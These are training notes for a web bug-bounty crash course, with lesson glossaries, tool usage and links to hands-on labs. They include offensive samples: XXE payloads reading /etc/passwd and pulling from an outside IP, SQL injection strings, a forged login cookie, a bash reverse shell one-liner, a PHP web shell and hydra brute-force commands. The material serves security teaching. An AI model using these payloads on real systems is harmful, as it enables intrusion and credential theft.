|  |  |
| --- | --- |
|  | **Bug Bounty Crash Course Supplementary Notes**  **For CyberN’US Community**  **~ Sharing is Caring.~**  PS: Feel free to share and modify these notes for learning purpose. |

**Learning Outcome**

1. Understand and hands on OWASP Top 4 to 5 –XML External Entity, Broken Access Control (Lesson 6)
2. Understand and hands on OWASP Top 3 – Injection Attack, Broken Authentication, Sensitive Data Exposure (Lesson 5)
3. Examine authentication methods and cracked weak password using CURL, hydra, Burpsuite and Zaproxy (Lesson 4)
4. Perform directory enumeration and find interesting files using Dirb, Dirbuster, Gobuster, Burpsuite, Zaproxy, Opendoor (Lesson 3)
5. Conduct Web and Database reconnaissance using NMap and Metasploit. (Lesson 2)
6. Examine http request and response using curl, burpsuite and wireshark (Lesson 1)

**Table of Content**

1. [Concepts](#Concepts)
2. [Questions asked during live lesson](#QN)
3. [Tools](#Tools)
4. [Getting Started on Lab and Lessons](#Lab)

**CONCEPTS**

| **SN** | **Term** | **Definition (Simplified)** | **References** |
| --- | --- | --- | --- |
| **Lesson 6** | | | | |
| 1 | Recap - OWSAP Top 1- Injection Attack | Command or Code Injection attacks happen when unsanitized data is sent to an interpreter through a form input or some other data submission to a web application. E.g. SQL, OS, LDAP, PHP, etc. | <https://www.cloudflare.com/learning/security/threats/owasp-top-10/>  <https://www.troyhunt.com/owasp-top-10-for-net-developers-part-1/>  <https://nitesculucian.github.io/2018/10/05/php-object-injection-cheat-sheet/> |
| 2 | Recap - OWSAP Top 2-Broken Authentication | Capture or bypass the authentication that are used by a web application due to weakness such as weak, unencrypted password, exposed session ID and session not invalidated, etc. | <https://hdivsecurity.com/owasp-broken-authentication> |
| 3 | Recap - OWSAP Top 3-Sensitive Data Exposure | Conduct man in the middle attack to capture data or get data directly from server due to weakness such as transmitting data in plain text/over http, using weak crypto, credentials in codes/logs, exposed data on webserver, etc. | <https://deepsource.io/blog/owasp-top-ten-sensitive-data-exposure/>  <https://www.sitelock.com/blog/owasp-top-10-sensitive-data-exposure/> |
| 4 | OWASP Top 4 - XXE | To perform an XML eXternal Entity injection attack to retrieve files, perform server-side request forgery (load from URL), exfiltrate data out of band and error messages using vulnerable XML processor | <https://portswigger.net/web-security/xxe#:~:text=Some%20applications%20receive%20client%2Dsubmitted,by%20the%20backend%20SOAP%20service.> |
| 5 | OWASP Top 5 - Broken Access Control | To allow users can to act outside of their intended permissions either at same level - horizontal or higher level - vertical privilege escalation | <https://www.packetlabs.net/broken-access-control/> |
| 3 | XML DTD | XML Document Type Definition defines the constraints on the structure of an XML document. It can reference external (private/public) or internal entity. | <https://xmlwriter.net/xml_guide/doctype_declaration.shtml>  Example of external private DTD:  <!DOCTYPE data [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <data><text>&passwd;</text></data>  <!DOCTYPE data [<!ENTITY passwd SYSTEM "http://192.81.46.2:9000/passwd">]> <data><text>&passwd;</text></data> |
| 4 | SAML | SAML is an XML-based open standard for exchanging authentication and authorization data between parties. | <https://www.softwaresecured.com/federated-identities-openid-vs-saml-vs-oauth/> |
| 5 | SOAP,  REST,  RPC | Different types of communication architecture for consuming remote procedure or services. | <https://medium.com/api-university/architectural-styles-for-apis-soap-rest-and-rpc-9f040aa270fa#:~:text=In%20general%2C%20an%20architectural%20style,%2Dscale%2C%20predefined%20solution%20structure.&text=The%20REST%20style%20(Representational%20State,the%20SOAP%20style%20and%20GraphQL.> |
| 6 | SAST  DAST | Static Application Security Testing is white box testing conducted in early development stage, which examines for weakness in code. Dynamic Application Security Testing is black box testing, which examines weaknesses with communications, architecture and run-time configurations. | <https://www.kiuwan.com/blog/application-security-tools-comparison/> |
| 7 | Chain vulnerabilities | Leveraging multiple vulnerabilities to compromise a system |  |
| **Lesson 5** | | | |
| 1 | DevOps, DevSecOps | DevSecOps involves creating a ‘Security as Code’ culture with ongoing, flexible collaboration between release engineers and security teams. The DevSecOps movement, like DevOps itself, is focused on creating new solutions for complex software development processes within an agile framework. | <https://www.sumologic.com/insight/devsecops-rugged-devops/#:~:text=DevSecOps%20involves%20creating%20a%20'Security,processes%20within%20an%20agile%20framework.> |
| 2 | Authentication, Authorisation | Authentication is the process of verifying who a user is, while authorization is the process of verifying what they have access to. | <https://auth0.com/docs/authorization/concepts/authz-and-authn> |
| 3 | Encoding, Encryption | Encoding is the process of transforming or converting data in order to transfer the data between different systems  Encryption is process of transforming data from one form to with aim to maintain confidentiality of data. | <https://medium.com/@tittylouis/encoding-vs-encryption-vs-hashing-f1ad7866c4de>  FFT: How to tell if a string is encoded or encrypted?  <https://www.tunnelsup.com/hash-analyzer/>  <https://hashcat.net/wiki/doku.php?id=example_hashes>  <https://null-byte.wonderhowto.com/how-to/use-hash-identifier-determine-hash-types-for-password-cracking-0200447/> |
| 4 | Credential Staffing | Credential stuffing is the automated injection of breached username/password pairs in order to fraudulently gain access to user accounts. | <https://owasp.org/www-community/attacks/Credential_stuffing>  <https://haveibeenpwned.com/> |
| 5 | Cookie, Session, Local Storage | Cookie stores data with expiration date that has to be sent back to the server with subsequent requests.  SessionStorage object stores data only for a session, meaning that the data is stored until the browser (or tab) is closed.  Local Storage stores data with no expiration date, and gets cleared only through JavaScript, or clearing the Browser cache / Locally Stored Data. | <https://dev.to/bogicevic7/session-storage-vs-local-storage-vs-cookie-elc>  <https://scotch.io/@PratyushB/local-storage-vs-session-storage-vs-cookie#:~:text=Are%20you%20always%20confused%20between%20session%20storage%2C%20local%20storage%20and%20cookies%3F&text=The%20sessionStorage%20object%20stores%20data,(or%20tab)%20is%20closed.&text=Storage%20limit%20is%20larger%20than%20a%20cookie%20(at%20least%205MB).> |
| 6 | Robots.txt | Robots.txt file that allows you to control how website crawlers crawl and index publicly accessible websites. Sensitive directories can be potentially identified here. | <https://developers.google.com/search/reference/robots_txt> |
| **Lesson 4** | | | | |
| 1 | Basic Authentication | Method used by Web Server to send base 64 encode credentials in plain text over http.  To be used over SSL. | <https://www.hackingarticles.in/understanding-http-authentication-basic-digest/> |
| 2 | Digest Authentication | Method used by Web Server to send hash credentials over http.    Hash machine generated password rather than common dictionary password. Hash to be used with salt (i.e. adding random data to the input of a hash function to guarantee a unique output, the **hash).** | <https://en.wikipedia.org/wiki/Digest_access_authentication>  <https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/> |
| 3 | Token Authentication | Method controlled by Application. Token based authentication works by ensuring that each request to a server is accompanied by a signed token which the server verifies for authenticity and only then responds to the request. | <https://auth0.com/learn/token-based-authentication-made-easy/> |
| 4 | Error Handling | The most common vulnerabilities occur when a system reveals detailed error messages or codes generated from stack traces, database dumps, and a wide variety of other problems, including out of memory, null pointer exceptions, and network timeout errors | <https://www.veracode.com/security/error-handling>  <https://www.acunetix.com/vulnerabilities/web/application-error-message/>  <https://info.veracode.com/secure-coding-best-practices-hand-book-guide-resource.html> |
| 5 | Bind Shell | Connect to target machines from attacker machine | <https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/> |
| 6 | Reverse Shell | Connect to attacker machine from target machine | <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet> |
| 7 | Port, Socket and Network Layer (e.g. IP, TCP, UDP, Application) | IP address identifies the computer.  **Port** identifies the**application or service** running on the computer (e.g. port 80 is web service)  Socket is IP + Port. | <http://www.steves-internet-guide.com/internet-protocol-suite-explained/> |
| 8 | OWASP Top 10 | Document most critical security risks to web applications | <https://owasp.org/www-project-top-ten/> |
| 9 | Code Injection | Code is injected in the language of the targeted application and executed by the server-side interpreter for that language | <https://www.netsparker.com/blog/web-security/code-injection/> |
| 10 | Command Injection | Application execute an underlying operating system command | <https://gracefulsecurity.com/command-injection-the-good-the-bad-and-the-blind/> |
| **Lesson 3** | | | | |
| 1 | Directory enumeration, Crawling, Spidering | Build index of directories and files on website. Can be active or passive mode. Spider references dictionary. Crawling does not. | <https://forum.joomla.org/viewtopic.php?t=888363> |
| 2 | Web Driver | Useful for testing single page application by imitating the user action on web application | <http://tutorialspoint.com/what-is-web-driver-in-selenium> |
| 3 | Testing methodology | Identify ports and services for possible exploits  Enumerate directories and files for sensitive data like configurations, passwords, etc. | <https://www.vumetric.com/blog/top-penetration-testing-methodologies/> |
| **Lesson 2** | | | | |
| 1 | MVC | **Model** contains application data.  **View** presents the model’s data to the user.  **Controller** contains the business logic. It listens to view and in response manipulate view. | <https://www.geeksforgeeks.org/mvc-design-pattern/> |
| 2 | Framework | Collection of libraries that helps you develop your application | <https://www.geeksforgeeks.org/top-10-frameworks-for-web-applications/>  Red Team Thinking model: Fingerprint the framework and determine if an outdated version is used. If so, find the available exploits.  Blue Team Thinking model: Update the codes and also the framework. |
| 3 | Singe page application | A single-page application (SPA) is a website design approach where each new page's content is served not from loading new HTML pages but generated dynamically through JavaScript's ability to manipulate the DOM elements on the existing page itself. | What is SPA?  <https://dzone.com/articles/what-is-a-single-page-application>  Why SPA?  <https://huspi.com/blog-open/definitive-guide-to-spa-why-do-we-need-single-page-applications>  SPA Framework  Examples: Ember, Angular,  <https://hackr.io/blog/best-javascript-frameworks> |
| 4 | Monolithic application (aka multi-tier) | Monolithic application has single code base with multiple modules. Modules are divided as either for business features or technical features. It has single build system which build entire application and/or dependency. It also has single executable or deployable binary | <https://dzone.com/articles/monolithic-vs-microservice-architecture> |
| 5 | Microservice architecture | Microservice architecture is an approach of building large enterprise application with multiple small unit called service, each service develop, deploy and test individually. | Microservice  Examples: Docker, API gateway  <https://dzone.com/articles/microservices-an-example-with-docker-go-and-mongod>  <https://www.forbes.com/sites/forbestechcouncil/2018/10/10/docker-and-kubernetes-furthering-the-goals-of-devops-automation/#1ccc436f6506>  <https://microservices.io/patterns/apigateway.html> |
| 6 | Serverless architecture | Serverless architecture (also known as serverless computing or function as a service, **FaaS**) is a software design pattern where applications are hosted by a third-party service, eliminating the need for server software and hardware management by the developer. | SAAS: Software as a service  PAAS: Platform as a service  IAAS: Infra as a service  Red Team FFT: Can you pinpoint the service or database with such architecture?  <https://www.twilio.com/docs/glossary/what-is-serverless-architecture>  <https://www.serverless.com/blog/serverless-architecture-code-patterns/>  <https://www.bmc.com/blogs/saas-vs-paas-vs-iaas-whats-the-difference-and-how-to-choose/> |
| 7 | Dictionary Attack | Password attack based on defined list | Example,  /usr/share/metasploit-framewokr/data/wordlists/unix-password.txt |
| 8 | Brute Force Attack | Password attack based on trial and error |  |
| **Lesson 1** | | | | |
| 1 | AJAX | AJAX uses a combination of:   * A browser built-in XMLHttpRequest object (to request data from a web server) * JavaScript and HTML DOM (to display or use the data) | <https://www.w3schools.com/xml/ajax_intro.asp> |
| 2 | HTTP Request Methods | GET: **retrieve data from the server. Request parameters appended to URL.**  POST: **send data to the server** (e.g. form data)  PUT: create/upload data (e.g. file)  DELETE: delete data (e.g. file)  OPTIONS: find supported request methods  TRACE: for debugging  HEAD: display HTTP response, just header, without the body | <https://rapidapi.com/blog/api-glossary/http-request-methods/> |
| 3 | HTTP Response Status Code | 1XX – Processing  2XX – Success  3XX – redirection  4XX – client error  5XX – server error | Refer to the lesson 1 slides page 30 for more information |

**QUESTIONS ASKED DURING LIVE LESSON**

| **SN** | **Term** | **Definition** | **References (Command)** |
| --- | --- | --- | --- |
| **Lesson 5** | | | |
| 1 | Incognito | Private browsing, intended to wipe local traces of where you've been, what you've searched for, the contents of forms you've filled | <https://www.computerworld.com/article/3356840/how-to-go-incognito-in-chrome-firefox-safari-and-edge.html> |
| 2 | Browser Plugin Extensions | Web applications can exploit browser extensions to access privileged capabilities and steal sensitive user information, including credentials | <https://www.securityweek.com/websites-can-exploit-browser-extensions-steal-user-data> |
| 3 | Default credentials | Do not use default credentials that comes for example with router and camera. | <https://thor-sec.com/cheatsheet/shodan/shodan_cheat_sheet/> |
| **Lesson 3** | | | |
| 1 | Deception Technology | Deception technology automates the creation of traps (decoys) and/or lures which are mixed among and within existing IT resources to provide a layer of protection to stop attackers that have penetrated the network | <https://www.helpnetsecurity.com/2018/12/06/introduction-deception-technology/>  <https://roi4cio.com/en/categories/category/deception-techniques-and-honeypots/> |
| **Lesson 2** | | | |
| 1 | Web Shell | A web shell or backdoor shell is a script written in the supported language of a target web server to be uploaded to enable remote access and administration of the machine | <https://malware.expert/general/what-is-a-web-shell/>  <https://www.attackdefense.com/challengedetails?cid=1802>  https://youtu.be/i9N\_Cz-Vtl4 |
| 2 | Port Knocking | A stealth method to externally open ports that, by default, the firewall keeps closed | <https://wiki.archlinux.org/index.php/Port_knocking> |
| 3 | IP Addr | Linux command to view network interfaces on your machines  (equivalent of deprecated Linux command - ifconfig)   * Eth0 – network interface that the system uses to access lab * Eth1 – network interface that the system uses to communicate with others * Lo - special network interface that the system uses to communicate with itself. | <https://www.computerhope.com/unix/uifconfi.htm> |
| **Lesson 1** | | | |
| 1 | Difference between Website and Web Application | Website – static content with search  Web Application – transactional | <https://www.guru99.com/difference-web-application-website.html> |
| 2 | What is index of / ? | If a request is made to a web directory on which directory listing is enabled, and there is no index file such as index.php or index.asp, even if there are files from a web application, the web server sends a directory listing as a response. | <https://www.netsparker.com/blog/web-security/disable-directory-listing-web-servers/> |
| 3 | Favicon | A **favicon** [/ˈfæv.ɪˌkɒn/](https://en.wikipedia.org/wiki/Help:IPA/English) (short for **favorite icon**), also known as a **shortcut icon**, **website icon**, **tab icon**, **URL icon**, or **bookmark icon**, is a file containing one or more small [icons](https://en.wikipedia.org/wiki/Icon_(computing)),[[1]](https://en.wikipedia.org/wiki/Favicon#cite_note-egressive-1) associated with a particular [website](https://en.wikipedia.org/wiki/Website) or [web page](https://en.wikipedia.org/wiki/Web_page). Browsers that provide favicon support typically display a page's favicon in the browser's [address bar](https://en.wikipedia.org/wiki/Address_bar) (sometimes in the history as well) | <https://en.wikipedia.org/wiki/Favicon> |
| 4 | What is / behind the ip address 192.X.X.X/24 means? | Indicate the usable ip address within a particular network subnet | <http://droptips.com/cidr-subnet-masks-and-usable-ip-addresses-quick-reference-guide-cheat-sheet> |

**To****ols**

| **SN** | **Tool** | **Usage Scenario** | **Example/Reference** |
| --- | --- | --- | --- |
| **Lesson 6** | | | |
| 1 |  | Local File Inclusion |  |
| 2 |  | Remote File Inclusion |  |
| 3 |  | Directory Traversal |  |
| 4 |  | Insecure Direct Object Reference |  |
| **Lesson 5** | | | |
| 1 | SQL | Get application to run your SQL statement | Test form field with strings such as the following:  ‘ or ‘1’=’1  ‘ or ‘1’=’1’ #  ‘ or ‘1’=’1’ --  <https://owasp.org/www-community/attacks/SQL_Injection> |
| 2 | Burp Suite | Examine cookie, session and storage for replay attack | Read the CVE. Add cookie to bypass login under intercept tab  Referer: http://3ior0jtgnadq4dfyvum530tv6.asiax1.attackdefenselabs.com/admin/index.php  Cookie: LoggedIn=yes |
| 3 | Browser Developer Tool | Examine cookie, session and storage for replay attack | For example, Inspect where cookie is stored using inspect element  <https://developers.google.com/web/tools/chrome-devtools> |
| **Lesson 4** | | | |
| 1 | Curl | Check http header for authentication method | Curl –I <ip address>  Examine http header for “www-auhtheticate: Basic/Digest” |
| 2 | Bash | Get a reverse shell  Check if shell is established | bash -i >& /dev/tcp/192.168.100.113/4444 0>&1  Note:  bash –i 🡺interactive bash shell  /dev/tcp/192.168.100.113/4444 🡺socket  0>&1 🡺send information from stdin, beside stdout and stderr to this socket  Ps –eaf //see the commands  Netstat –tnp //see the source/destination ip, port and program  <https://www.man7.org/linux/man-pages/man1/ps.1.html>  <https://swcarpentry.github.io/shell-novice/reference/>  <http://linuxcommand.org/lc3_wss0010.php> |
| 3 | Burpsuite | Crack password for web applications | Refer lab’s video. Select attack type to be cluster bomb when there is more than 1 parameter (say login and password) and you want to try all possible combinations for the attack.    <https://portswigger.net/burp/documentation/desktop/tools/intruder/positions> |
| 4 | ZapProxy | Crack password for web applications | Refer lab’s video and manual. Select attack type to be fuzz.  <https://www.attackdefense.com/challengedetails?cid=1897> |
| 5 | Hydra | Crack password for web applications | hydra -L <userlist> -P <wordlist> <target-IP> <method> <directory>  e.g. hydra -l admin -P /root/Desktop/wordlists/common\_passwords.txt 192.235.53.3 http-get /basic/  e.g. hydra -L users.txt -P /root/Desktop/wordlists/common\_passwords.txt 192.235.53.3 http-post-form “/login.php:lgin=^user^…& form=submit:Invalid …!”  eliminate unwanted output and examine output for status code = 200 or 301 to determine correct id/password found. Output maybe required to be base64 decoded. |
| **Lesson 3** | | | |
| 1 | Dirb | Gather information about files and directories on the web servers | From kali prompt, typed  Dirb http://192.185.70.3 –r –N 404 -X .php -w /usr/share/common/wordlists/dirb/common.txt  -r not recursive  -N exclude pages returning status code 404  -X show file with extension .php  -w ignore warning |
| 2 | Dirbuster | Gather information about files and directories on the web servers | From kali icon (bottom left), select web application analysis 🡪web crawlers and directory bruteforce🡪 dirbuster  Enter target URL, Select wordlist and Click start button to enumerate directories and files  <https://null-byte.wonderhowto.com/how-to/hack-like-pro-find-directories-websites-using-dirbuster-0157593/> |
| 3 | Gobuster | Gather information about files and directories on the web servers | From kali prompt, typed  gobuster dir -u http://192.185.70.3 -s 200 -x .php -w /usr/share/dirb/wordlists/common.txt  dir - Uses directory/file brutceforcing mode  u – url  w – wordlists  s – return results with this http status code  look for files that provide information about applications, e.g. classes, phpmyadmin, phpinfo  <https://redteamtutorials.com/2018/11/19/gobuster-cheatsheet/> |
| 4 | Burpsuite | Gather information about files and directories on the web servers | At kali icon (bottom left), select web application analysis -> burpsuite  Select intruder-> Target, Enter Host IP  Select intruder-> Positions, Specify http request method and placeholder (e.g. GET /§name§ HTTP/1.0)  Select intruder-> Payload->Payload options, Click Load button to select wordlists, Click Start Attack button |
| 5 | Zaproxy | Gather information about files and directories on the web servers | From kali icon (bottom left), select web application analysis 🡪 owasp zap  From Owasp zap:  Enter target URL, Select manual mode, Click Launch Browser,  From browser:  Visit the target Site,  From Owasp zap:  Select Site->Attack->Force Browse Directory and Children  Select wordlist from dropdown list  Click the Play (>) button besides the dropdown list  Note: Copy your custom wordlist to this directory  .ZAP/fuzzers/dirbuster/ |
| 6 | OpenDoor | Gather information about files and directories on the web servers | Click on Terminal icon from lab environment. At kali prompt, typed:  Opendoor –host <http://192.185.70.3> –s directories –w /usr/share/dirb/wordlists/common.txt |
| **Lesson 2** | | | |
| 1 | Nmap | Gather information about database users, passwords, schemas and configuration | Click on Terminal icon from lab environment. At kali prompt, typed:  nmap –p <sqlport> --script=<\*.nse> <target IP>  where \* can be  mysql-empty-password.nse //check if anonymous login allowed  mysql-info //check if interactive login allow  mysql-databases //get all the databases  mysql-users //get all the sql users  mysql-variables //get all the sql variables  mysql-audit  note that audit file required as part of the argument to above script can be downloaded from <https://github.com/nmap/nmap/blob/master/nselib/data/mysql-cis.audit>  mysql-query  note: nmap scripts can be found in /usr/share/nmap/scripts  reference:  <https://nmap.org/book/nse.html> //nmap scripts and arguments  <https://www.edureka.co/blog/nmap-tutorial/> |
|  | LUA | Core of the Nmap Scripting Engine is an embeddable Lua interpreter. | <https://nmap.org/book/nse-language.html>  <https://ebens.me/post/lua-for-programmers-part-1/> |
| 2 | Metasploit | Gather information about database users, passwords, schemas and configuration | Click on Terminal icon from lab environment. At kali prompt, typed:  /etc/init.d/postgre.sql //update metasploit database  Msfconsole //launch metasploit  // find reconnaissance modules, which is of the type auxiliary  search type: auxiliary mysql  //display all modules  Tab twice at msfconsole prompt  Important modules:  auxiliary/scanner/mysql/mysql\_schemadump //dump database, tables and columns info  auxiliary/scanner/mysql/mysql\_file\_enum //find sensitive file readable by msql  auxiliary/scanner/mysql/mysql\_writable\_dirs //find directories which sql can create file  auxiliary/scanner/mysql/mysql\_hashdump //find sql users hashes |
| 3 | Hydra | Crack passwords for database | hydra -l root -P /usr/share/wordlists/metasploit/common\_passwords.txt 192.235.53.3 mysql  <https://tools.kali.org/password-attacks/hydra>  <https://sectools.org/tag/pass-audit/> |
| 4 | Database | Structured,  e.g. MySQL | Supposed target-ip has empty root mySQL account.  mysql –h target-ip –u root // To connect to database, at kali prompt, typed:  select load\_file(“/etc/passwd”); //At sql prompt, issue this cmd to read password file  reference:  <https://www.mysqltutorial.org/basic-mysql-tutorial.aspx> |
| Unstructured,  e.g. MongoDB | mongo –u <uid> -p <pwd> --authenticationDatabase <db> -host <target ip> |
| 5 | PHP | Server scripting language, and a powerful tool for making Web pages. E.g. Create a web shell. | <?php  $cmd = shell\_exec($\_GET[“cmd”]);  echo $cmd  ?>  Above script , executes command, “id” on the web server when you visit <http://example/uploads/shell.php?cmd=id>.  It is as if you have typed in the command, “id” at web server command prompt.  PHP $\_GET is a PHP super global variable which is used to collect form data after submitting an HTML form with method="get".  Reference:  <https://www.w3schools.com/php/php_superglobals_get.asp>  <https://www.wired.com/2010/02/PHP_Tutorial_for_Beginners/> |
| 6 | Linux | Read password file | cat /etc/passwd  <https://www.ibm.com/support/knowledgecenter/ssw_aix_71/security/passwords_etc_passwd_file.html>  2nd field is of the format $encryption algorithm $salt $hash  <https://www.slashroot.in/how-are-passwords-stored-linux-understanding-hashing-shadow-utils>  Get to know linux  <https://www.freecodecamp.org/news/linux-example-bash-command-line/>  <https://www.tutorialspoint.com/unix/unix-using-variables.htm> |
| 7 | Jinja | Jinja is a modern and designer-friendly templating language for Python | <https://jinja.palletsprojects.com/en/2.11.x/> |
| 8 | FeatherPad | Text Editor |  |
| **Lesson 1** | | | |
| 1 | Nmap | Scan ports and services running on a machine | Click on Terminal from lab environment.  At kali prompt, typed:  Nmap –sC –sV <target-ip> -oA results.txt  <https://www.edureka.co/blog/nmap-tutorial/> |
| 2 | Dirb | Enumerate directories and files | At kali prompt, typed:  dirb <http://example.com/>  <https://tools.kali.org/web-applications/dirb> |
| 3 | Google Dork | Enumerate directories and files | At Google search, typed  inurl /index of  intitle /index of  <https://securitytrails.com/blog/google-hacking-techniques> |
| 4 | Curl | Test for allowable http request methods | At kali prompt, typed:  curl -X OPTIONS 192.45.178.3/uploads/ -v  <https://linux.die.net/man/1/curl> |
| 5 | Burpsuite | Test for allowable http request methods | At kali icon (bottom left), select web application analysis -> burpsuite  <https://portswigger.net/burp/releases/professional-community-2020-4>  <https://portswigger.net/burp/documentation/desktop/getting-started> |
| 6 | FoxyProxy | FoxyProxy is a Firefox extension which automatically switches an internet connection across one or more proxy servers | At top right of browser  <https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/> |
| 7 | Wireshark | Network Packet Analyzer | <https://www.varonis.com/blog/how-to-use-wireshark/> |
| 8 | Kali | Collection of hacking tools | <https://www.kali.org/docs/> |
| 9 | Vim | Text editor | <https://www.keycdn.com/blog/vim-commands> |

**Getting Started on Lab & Lessons**

| **SN** | **Task** | **Remarks** |
| --- | --- | --- |
| 1 | Access Your Labs | All required software are already provided within the lab environment  Follow steps in videos and lab manual  <https://www.youtube.com/watch?v=pHBRQ_jxybI&list=PLzKIBgD3ky23LVO6MVy54mQo3IuzdkNq5>  Note:  Remember to select server:asia-singapore (besides the run button for better performance)  Copy and paste data from your machines to lab machine – refer to the video below: <https://www.youtube.com/watch?v=l5mfL2bxkMg> |
| 2 | Questions during live lesson | Login in using your google account and ask your questions at  <https://discord.gg/mTFgdVh>  #live-instructor-interaction, #questions |
| 3 | Questions about lab | <https://discord.gg/mTFgdVh>  #lab-tech-support |
| 4 | Catch up on missed lesson | Read up slides and watch videos  <https://discord.gg/mTFgdVh>  #announcement |
| 5 | Compulsory Lab | Lesson 6:  XML External Entity – alter DTD  <https://www.attackdefense.com/challengedetails?cid=1889>  <https://youtu.be/EYHrwOageNY>  XML External Entity – CVE: Apache Solr -alter xml file  <https://www.attackdefense.com/challengedetails?cid=1853>  Refer discord channel for corrected payload. Error with lab manual.  XML External Entity – CVE: Apache Solr  <https://www.attackdefense.com/challengedetails?cid=1530>  Insecure Object Direct Reference – Change email and password using existing user session  <https://www.attackdefense.com/challengedetails?cid=1907>  <https://youtu.be/LF5DV_g7QBE>  Insecure Object Direct Reference II – Changing ticket price  <https://www.attackdefense.com/challengedetails?cid=1899>  <https://youtu.be/K20DBHufewQ>  Local file inclusion – change filename  <https://www.attackdefense.com/challengedetails?cid=1899>  <https://youtu.be/IRZ1KKIMffo>  Local file inclusion & Directory traversal - bloofoxCMS  <https://www.attackdefense.com/challengedetails?cid=279>  Local file inclusion & Directory traversal - bloofoxCMS  <https://www.attackdefense.com/challengedetails?cid=277>  Directory Traversal  <https://www.attackdefense.com/challengedetails?cid=1899>  <https://youtu.be/Sx26dpb7G6c>  Lesson 5:  SQL Injection – CVE: Free Article Submission  <https://www.attackdefense.com/challengedetails?cid=315>  SQL Injection- CVE: Open Support  <https://attackdefense.com/challengedetails?cid=437>  SQL Injection  <https://www.attackdefense.com/challengedetails?cid=1901>  Broken Auth - Airline Booking – Update cookie  Pre-requisite: install burp suite  <https://www.attackdefense.com/challengedetails?cid=438>  Improper Session Management – Manipulate URL parameter  refer: https://youtu.be/Yt-5Fgg-u\_4  <https://www.attackdefense.com/challengedetails?cid=1899>  Improper Session Management II– Manipulate cookie  refer: <https://youtu.be/BvrKOK9Z7ok>  <https://www.attackdefense.com/challengedetails?cid=1899>  Decoding Encoded Cookie – Base64  refer:<https://youtu.be/NnweEYixzQg>  <https://www.attackdefense.com/challengedetails?cid=1899>  Sensitive data in web storage –inspect element from browser  refer:<https://youtu.be/Y_6bbhD8x3o>  <https://www.attackdefense.com/challengedetails?cid=1899>  Sensitive directories listed in robotx.txt  refer:<https://youtu.be/7s5RD4OHD4w>  <https://www.attackdefense.com/challengedetails?cid=1889>  SQL information available from Web Server Logs  <https://attackdefense.com/challengedetailsnoauth?cid=11>  Lesson 4:  Attack Login Form with ZAProxy  <https://attackdefense.com/challengedetails?cid=1897>  Attack Login Form with Burpsuite  <https://attackdefense.com/challengedetails?cid=1898>  Attack Login Form with Hydra  <https://attackdefense.com/challengedetails?cid=1895>  Attack HTPP Authentication with Hydra  <https://attackdefense.com/challengedetails?cid=1894>  Bind versus Reverse Shell  <https://attackdefense.com/challengedetails?cid=1899>  Command Injection II  <https://www.attackdefense.com/challengedetails?cid=1906>  Command Injection III  <https://www.attackdefense.com/challengedetails?cid=1907>  Lesson 3:  Lab 5: Directory Enumeration with Gobuster  <https://www.attackdefense.com/challengedetails?cid=1882>  <https://www.youtube.com/watch?v=ARQkZqVvWlg>  Lab 6: Directory Enumeration with Dirbuster  <https://www.attackdefense.com/challengedetails?cid=1883>  <https://www.youtube.com/watch?v=tOUWRs6npy8>  Lab 7: Directory Enumeration with Dirb  <https://www.attackdefense.com/challengedetails?cid=1881>  <https://www.youtube.com/watch?v=g7Fvc8_6VlY>  Lab 8: Directory Enumeration with Burpsuite  <https://www.attackdefense.com/challengedetails?cid=1886>  Lab 9: Directory Enumeration with Zaproxy  <https://www.attackdefense.com/challengedetails?cid=1885>  <https://www.youtube.com/watch?v=I6dO-GeZc3g>  Lab 10: Directory Enumeration with Opendoor  <https://www.attackdefense.com/challengedetails?cid=1884>  <https://www.youtube.com/watch?v=w8viJOSQheI>  Lab 11: Passive crawling with burp suite  <https://www.attackdefense.com/challengedetails?cid=1891>  <https://www.youtube.com/watch?v=6xbhPkGl7Qg>  Lab12: Active crawling with zap proxy  <https://www.attackdefense.com/challengedetails?cid=1890>  <https://www.youtube.com/watch?v=6hWWXIduFSg>  Lesson 2:  Lab 3: MySQL Recon Basic  <https://www.attackdefense.com/challengedetails?cid=529>  <https://youtu.be/yndEeHsrwZg>  Lab 4: MongoDB Server Basic  <https://www.attackdefense.com/challengedetails?cid=543>  https://youtu.be/eiuieaZbyXg  Lesson 1:  Lab 1: HTTP Basics:  <https://www.attackdefense.com/paredirect?cid=861>  Lab 2: HTTP Method Basics :  <https://attackdefense.com/challengedetails?cid=1802> <https://youtu.be/suRYNTCJojs> |
| 6 | Recommended Lab | Labs under the category of Web Application penetration testing or WAP challenge  <https://www.attackdefense.com/listing?labtype=pa-web-app-pentesting&subtype=pa-web-app-pentesting-video-labs>  Lesson 5  Union Based SQL Injection https://www.attackdefense.com/challengedetails?cid=1902  Error Based SQL Injection <https://www.attackdefense.com/challengedetails?cid=1903>  Blind Boolean Based SQL Injection <https://www.attackdefense.com/challengedetails?cid=1904>  Blind Time Based SQL Injection https://www.attackdefense.com/challengedetails?cid=1905  Lesson 2  SQL Basics - <https://www.attackdefense.com/challengedetails?cid=1801>  No SQL Basics - <https://www.attackdefense.com/challengedetails?cid=1803>  Lesson 1  Web to shell - <https://www.attackdefense.com/challengedetails?cid=883> |
| 7 | Challenge & Solution | Lesson 5  How do determine if a string is encoded or encrypted?  Lesson 4  Compare the various tools and fill in the template below:  <https://docs.google.com/document/d/1ODRV8kRaRnXtyvxKLvs8lKvmBj1YFpd6-SJp7DId1j4/edit?usp=sharing>  Lesson 3  Refer to slides - advanced users miscellaneous slides  Lesson 2  Remote Code Execution  <https://www.attackdefense.com/challengedetails?cid=1879>  <https://public.attackdefense.com/challengedetails?cid=1878>  Model View Controller  <https://www.attackdefense.com/challengedetails?cid=1880>  <https://www.attackdefense.com/challengedetails?cid=1802>  <https://www.youtube.com/watch?v=i9N_Cz-Vtl4&feature=youtu.be>  Lesson 1  Get a shell using Lab 2 |